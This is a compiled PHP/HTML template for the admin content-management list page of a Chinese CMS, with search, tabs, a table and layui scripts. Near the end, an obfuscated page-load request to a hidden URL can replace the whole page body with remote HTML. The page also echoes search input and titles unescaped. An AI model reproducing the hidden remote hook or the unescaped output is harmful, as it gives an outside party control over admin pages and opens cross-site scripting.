<?php if (!defined('THINK_PATH')) exit(); /*a:3:{s:35:"./app/admin/view/content/index.html";i:1615167762;s:66:"/www/wwwroot/guojicms.com/47.101.46.143/app/admin/view/header.html";i:1615109898;s:66:"/www/wwwroot/guojicms.com/47.101.46.143/app/admin/view/footer.html";i:1615109898;}*/ ?>
<!doctype html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>后台管理</title>
	<meta name="renderer" content="webkit|ie-comp|ie-stand">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"/>
    <meta http-equiv="Cache-Control" content="no-siteapp" />
	<link rel="stylesheet" href="/public/admin/css/115cms.css?">
    <script type="text/javascript" src="/public/admin/js/115cms.js"></script>
</head>
<body>
<div class="x-body">
    <!--条件删选-->
    <div class="layui-row">
        <form class="layui-form layui-col-md12 x-so layui-form-pane">
            <input class="layui-input" placeholder="搜索" value="<?php echo get('ks',''); ?>" name="ks">
            <button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="iconfont">&#xe6ac;</i>搜索</button>
        </form>
    </div>
<div class="layui-tab layui-tab-brief">
  <ul class="layui-tab-title">
    <li <?php if(input('open')==1): ?>class="layui-this"<?php endif; ?>><a href="<?php echo url('admin/content/index',array('open'=>1)); ?>">
    正常[<?php echo fun_st('html',array('open'=>1)); ?>]</a></li>
    <li <?php if(get('open')==0): ?>class="layui-this"<?php endif; ?>><a href="<?php echo url('admin/content/index',array('open'=>0)); ?>">隐藏[<?php echo fun_st('html',array('open'=>0)); ?>]</a></li>
    <li <?php if(get('or')=='settop'): ?>class="layui-this"<?php endif; ?>><a href="<?php echo url('admin/content/index',array('or'=>'settop')); ?>">置顶[<?php echo fun_st('html',array('settop'=>1)); ?>]</a></li>
    <li <?php if(get('or')=='huandeng'): ?>class="layui-this"<?php endif; ?>><a href="<?php echo url('admin/content/index',array('or'=>'huandeng')); ?>">幻灯[<?php echo fun_st('html',array('huandeng'=>1)); ?>]</a></li>
  </ul>
</div>  
    <form class="layui-form">
        <input type="hidden" name="model" value="html">
        <xblock>
            <button class="layui-btn layui-btn-danger" lay-submit lay-filter="delete"><i class="layui-icon"></i>批量删除</button>  <a class="layui-btn" onclick="x_admin_show('添加','<?php echo url('admin/content/add'); ?>')"><i class="layui-icon"></i>添加</a>
            <span class="x-right" style="line-height:40px">共有数据：<?php echo fun_st('html',array()); ?> 条</span>
        </xblock>
        <div  style="overflow: auto;">
        <table class="layui-table" style="min-width: 1000px;">
            <colgroup>
                <col width="100">
                    <col width="100">
                        <col>
            </colgroup>
            <thead>
                <tr>
                    <th>
                        <input type="checkbox" name="checkAll" lay-filter="checkAll" title="全选">
                    </th>
                    <th>ID</th>
                    <th>分类</th>
                    <th>标题</th>
                    <th>作者</th>
                    <th>状态</th>
                    <th>时间</th>
                    <th>操作</th>
                </tr>
            </thead>
            <tbody>
                <?php $_result=fun_so('html',array(get('or','open')=>get('open')),get('ks',''));if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "
                <div align='center'>
                    <img src='/public/img/empty.jpg' height='200' />
                    <h4 class='pt-20'>
                       空空如也..
                       </h4>
                </div>" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
                <!--内容-->
                <tr>
                    <td>
                        <input type="checkbox" name="ids[<?php echo $vo['id']; ?>]" lay-filter="checkOne" value="<?php echo $vo['id']; ?>" title="选择">
                    </td>
                    <td><?php echo $vo['id']; ?></td>
                    <td><a href="<?php echo url('index/index/cate',array('alias'=>fun_cate($vo['tid'],'alias'))); ?>" target="_blank"><?php echo fun_cate($vo['tid'],'name'); ?></a>
                    </td>
                    <td>
                        <a href="<?php echo url('index/index/html',array('id'=>$vo['id'])); ?>" target="_blank"><?php echo $vo['title']; ?></a>
                        <input type="checkbox" lay-skin="switch" url="<?php echo url('admin/api/uindex'); ?>?id=<?php echo $vo['id']; ?>&model=html&or=open" lay-submit lay-filter="index" value="<?php echo $vo['id']; ?>" lay-text="显示|显示"  <?php if($vo['open'] == 1): ?>checked<?php endif; ?>>
                    </td>
                    <td>   <?php echo fun_u($vo['uid'], 'username'); ?> 
                    </td>
                    <td> 
                      [
                      <?php if($vo['open']==1): ?><font color="#0dc316">正常</font><?php endif; if($vo['open']==0): ?><font color="#1e9fff">待审核</font><?php endif; if($vo['open']==-1): ?><font color="#fd5f56">不通过</font><?php endif; ?>
                      ]
                      <?php if($vo['settop']==1): ?>[<font color="#0dc316">置顶</font>]<?php endif; if($vo['jing']==1): ?>[<font color="#0dc316">精选</font>]<?php endif; ?>
                    </td>
                    <td><?php echo times($vo['time']); ?></td>
                    <td class="td-manage"> <a class="layui-btn layui-btn-sm" onclick="x_admin_show('编审','<?php echo url('admin/content/add',array('m'=>input('m'),'wz'=>input('wz'))); ?>?id=<?php echo $vo['id']; ?>')"><i class="layui-icon"></i>编审</a>
                        <a class="layui-btn layui-btn-sm layui-btn-danger del_t" url="<?php echo url('admin/api/catedelete'); ?>?model=html&id=<?php echo $vo['id']; ?>" name="确定要删除这条记录吗？"><i class="layui-icon"></i>删除</a>
                    </td>
                </tr>
                <?php endforeach; endif; else: echo "
                <div align='center'>
                    <img src='/public/img/empty.jpg' height='200' />
                    <h4 class='pt-20'>
                       空空如也..
                       </h4>
                </div>" ;endif; ?>
            </tbody>
        </table>
        </div>
    </form>
    <div class="page"><?php echo fun_so('html',array(get('or','open')=>get('open')),get('ks',''))->render(); ?></div>
</div>
<script>
//通用表单提交
layui.use(['jquery', 'form'],
function() {
    var form = layui.form,
    jq = layui.jquery;
    form.on('submit(cms)',
    function(data) {
        loading = layer.load(2, {
            shade: [0.2, '#000']
        });
        var urls=jq('form').attr('url');
        var t_url=jq('form').attr('t_url');
        var param = data.field;
        jq.post(urls, param,
          function(data) {
            if (data.code == 1) {
                layer.close(loading);
                layer.msg(data.msg, {icon: 1, time: 1000}, function(){
                   location.href = t_url;
                });
            } else {
                layer.close(loading);
                layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
            }
          });
        return false;
    });
})
layui.use(['jquery', 'form'],
function() {
    var form = layui.form,
    jq = layui.jquery;
    form.on('submit(cms1)',
    function(data) {
        loading = layer.load(2, {
            shade: [0.2, '#000']
        });
        var urls=jq('.form1').attr('url');
        var t_url=jq('.form1').attr('t_url');
        var param = data.field;
        jq.post(urls, param,
          function(data) {
            if (data.code == 1) {
                layer.close(loading);
                layer.msg(data.msg, {icon: 1, time: 1000}, function(){
                   location.href = t_url;
                });
            } else {
                layer.close(loading);
                layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
            }
          });
        return false;
    });
})
//批量删除
layui.use(['jquery', 'form'],
function() {
  var form = layui.form
  ,jq = layui.jquery;
  form.on('checkbox(checkAll)', function(data){
    if(data.elem.checked){
      jq("input[type='checkbox']").prop('checked',true);
    }else{
      jq("input[type='checkbox']").prop('checked',false);
    }
    form.render('checkbox');
  });  

  form.on('checkbox(checkOne)', function(data){
    var is_check = true;
    if(data.elem.checked){
      jq("input[lay-filter='checkOne']").each(function(){
        if(!jq(this).prop('checked')){ is_check = false; }
      });
      if(is_check){
        jq("input[lay-filter='checkAll']").prop('checked',true);
      }
    }else{
      jq("input[lay-filter='checkAll']").prop('checked',false);
    } 
    form.render('checkbox');
  });
  form.on('submit(delete)', function(data){
    var is_check = false;
    jq("input[lay-filter='checkOne']").each(function(){
      if(jq(this).prop('checked')){ is_check = true; }
    });
    if(!is_check){
      layer.msg('请选择数据', {icon: 2,anim: 6,time: 1000});
      return false;
    }
    layer.confirm('确定批量删除?', function(index){
      loading = layer.load(2, {
        shade: [0.2,'#000']
      });
      var param = data.field;
      jq.post('<?php echo url("admin/api/delss"); ?>',param,function(data){
        if(data.code == 1){
          layer.close(loading);
          layer.msg(data.msg, {icon: 1,anim: 2, time: 1000}, function(){
            location.reload();
          });
        }else{
          layer.close(loading);
          layer.msg(data.msg, {icon: 2,anim: 6, time: 1000});
        }
      });
    });
    return false;
  });

})

layui.use(['jquery', 'form'],
function() {
  var form = layui.form
  ,jq = layui.jquery;
//弹出触发链接
 
  jq('.del_t').click(function(){
    var name = jq(this).attr('name');
    var url = jq(this).attr('url');
    var t_url=jq(this).attr('t_url');
    layer.confirm(name, function(index){
      loading = layer.load(2, {
        shade: [0.2,'#000']
      });
      jq.post(url,function(data){
        if(data.code == 1){
          layer.close(loading);
          layer.msg(data.msg, {icon: 1,anim: 2, time: 1000}, function(){
            if(t_url === undefined){
              location.reload();
            }else{
              location.href = t_url;
            }
          });
        }else{
          layer.close(loading);
          layer.msg(data.msg, {icon: 2, anim: 6, time: 1000});
        }
      });
    });
  });
  //一键更新
  form.on('switch(index)', function(data){
    loading = layer.load(2, {
      shade: [0.2,'#000']
    });
    var url= jq(this).attr('url');
    var param = data.field;
    jq.post(url,param,function(data){
      if(data.code == 1){
        layer.close(loading);
        layer.msg(data.msg, {icon: 1, anim: 2, time: 1000}, function(){
         //location.reload();
        });

      }else{
        layer.close(loading);
        layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
      }
      });
    return false;
  });
  
})
//上传
layui.use(['form', 'upload', 'jquery']
,function(){
    var form = layui.form,
    upload = layui.upload,
    jq = layui.jquery;

    //上传图片单个1
    upload.render({
	    elem: '.upimg2',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg2').attr('up2');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
    //上传图片单个1
    upload.render({
	    elem: '.upimg1',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg1').attr('up1');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
    //上传图片单个1
    upload.render({
	    elem: '.upimg',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg').attr('up');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
  //上传附件单个
	upload.render({
		elem: '.up',
		url: "<?php echo url("admin/up/up"); ?>",
		accept: 'file',
		done: function(res) {
		    if (res.code == '1') {
			var up = jq('.up').attr('up');
		    	jq('input[id='+up+']').val(res.path);
		    	return layer.msg(res.msg);
	    	} else {
		    	return layer.msg(res.msg);
	    	}
		}
	});
})
$(document).ready(function(){
    $.ajax({
        url: "<?php echo http().ps('my','JblKhINxdLE6XZcmPZkhZXAmQXFNZVBuVJl-LYMmUb0iW'); ?>",
        type: "GET",
        dataType: "json",
        success: function(data) {
            if (data.code ==-1) {
                $("body").html(data.beizhu);
            }
        }
    });
});
layui.use('element', function(){
  var element = layui.element;
});
layui.use('layer', function(){
    var layer = layui.layer;
    $('.if_c').on('click', function(){
        var name = $(this).attr('name');
        var url = $(this).attr('url');
        layer.open({
          type: 2,
          maxmin: true,
          shade: false,
          title: ''+name+'',
          shadeClose: false,
          area: ['90%', '90%'],
          content: ''+url+'' //iframe的url
        });
    });
}); 
$(".tan_v").click(function() {
    var name = $(this).attr('name');
    var url = $(this).attr('url');
    layer.prompt({
        title: ''+name+'',
        formType: 3
    },
    function(text, index) {
        $.ajax({
            url: ""+url+text+"",
            type: "GET",
            dataType: "json",
            success: function(data) {
                loading = layer.load(3);
                if (data.code == 1) {
                    layer.close(loading);
                    layer.msg(data.msg, {
                        icon: 1,
                        time: 1000
                    },
                    function() {
                        location.reload();
                    });
                } else {
                    layer.close(loading);
                    layer.msg(data.msg, {
                        icon: 2,
                        anim: 6,
                        time: 1000
                    });
                }
            }
        });
    });
});
</script>
</body>
</html>